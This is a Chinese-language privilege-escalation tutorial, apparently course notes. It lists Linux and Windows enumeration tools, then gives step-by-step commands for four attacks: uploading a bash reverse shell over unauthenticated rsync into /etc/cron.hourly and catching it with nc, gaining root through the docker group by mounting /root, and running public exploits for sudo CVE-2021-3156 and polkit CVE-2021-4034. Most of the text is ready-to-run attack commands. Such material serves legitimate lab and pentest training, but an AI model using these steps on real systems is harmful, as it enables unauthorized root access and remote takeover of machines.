一个综合类探针:
Linux:https://github.com/liamg/traitor
一个自动化提权:
Linux:https://github.com/AlessandroZ/BeRoot
两个信息收集:
Linux:https://github.com/rebootuser/LinEnum
Linux:https://github.com/sleventyeleven/linuxprivchecker
两个漏洞探针:
Linux:https://github.com/mzet-/linux-exploit-suggester
Linux:https://github.com/jondonas/linux-exploit-suggester-2
二进制文件提权查询:
Linux:https://gtfobins.github.io/
Windows:https://lolbas-project.github.io/
介绍:Rsync是linux下一款数据备份工具,默认开启873端口。如果用户未配置账号密码就会造成未授权访问。
靶场:https://vulhub.org/#/environments/rsync/common/
前提条件:目标存在Rsync 未授权访问漏洞
提权:借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接上传反弹shell
提权过程:
1.启动靶场环境,执行命令来查看模块名列表
命令:rsync rsync://ip:873/src
2.我们可以执行命令下载任意文件
命令:rsync -av rsync://ip:873/src/etc/passwd ./
3.我们知道/etc/cron.hourly是一个定时执行的计划任务,每小时的第17分钟执行一次cron.hourly。可以执行如下命令查看
命令:rsync -av rsync://ip:873/src/etc/crontab ./crontab.txt
4.写一个含有反弹shell命令的文件
shell:
/bin/bash -i >& /dev/tcp/监听ip/端口 0>&1
chmod +x shell
5.将shell文件上传到/etc/cron.hourly :
命令:rsync -av shell rsync://目标ip/src/etc/cron.hourly
6.设置监听,等到一个小时的17分钟时,成功获取shell
命令:nc -nvv -lp 8888
介绍:利用docker服务启动镜像挂载目录,从而来访问root目录、etc目录等敏感文件来进行权限提升。
前提条件:已获取本地普通用户权限,且普通用户在docker组中。
演示开始
目标管理员操作:
1.创建用户归类目录,添加到docker组
命令:useradd -d /home/test -m test #创建test用户
passwd test #设置密码
usermod -G docker test #将test用户添加到docker组
newgrp docker #更新docker用户组
攻击者操作:
1.执行命令,查看目标是否安装了docker,当前用户在那个用户组中
命令:docker #判断是否安装docker
命令:groups 当前用户名 #查看用户组
2.执行如下命令,开始提权
命令:docker run -v /root:/mnt -it alpine
解释:从Docker上面下载alpine镜像,然后运行;
-v将容器外部的目录/root挂载到容器内部/mnt目录,使用-it参数进入容器shell。
命令执行完成,成功提权
介绍:
sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156),可导致本地权限提升。
当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行
命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
影响版本:目前可验证此漏洞的linux环境只有-Ubuntu、Debian。
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
利用脚本:https://github.com/blasty/CVE-2021-3156
演示开始
前提条件:已获取本地用户权限
1.执行命令判断是否存在漏洞
命令:sudo --version #查看sudo版本
命令:sudoedit -s / #执行报错则存在漏洞
2.如果版本符合漏洞产生条件,就可以克隆漏洞利用项目。
命令:git clone https://github.com/blasty/CVE-2021-3156.git
命令:cd CVE-2021-3156 #进入项目
命令:make #编译项目
命令:chmod a+x sudo-hax-me-a-sandwich #赋予脚本执行权限
命令:./sudo-hax-me-a-sandwich #执行脚本,获取脚本模块编号和利用方法
命令:uname -a #查看本机系统版本信息
命令:./sudo-hax-me-a-sandwich 2 #执行脚本,指定对应系统信息的模块编号
执行成功后即可获取root权限。
介绍:
漏洞影响2009年5月至今的所有polkit版本。
由于polkit是系统预装工具,所有存在polkit的linux系统均受影响。如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等
演示开始
1.执行命令,判断是否安装了polkit
命令:dpkg -l policykit-1 #有正常回显说明安装了
2.执行命令,将漏洞利用项目克隆到目标目录
命令:git clone GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day
3.执行脚本,开始提权
命令:cd CVE-2021-4034/ #进入项目目录
命令:make #编译项目
命令:./cve-2021-4034 #执行脚本,开始自动提权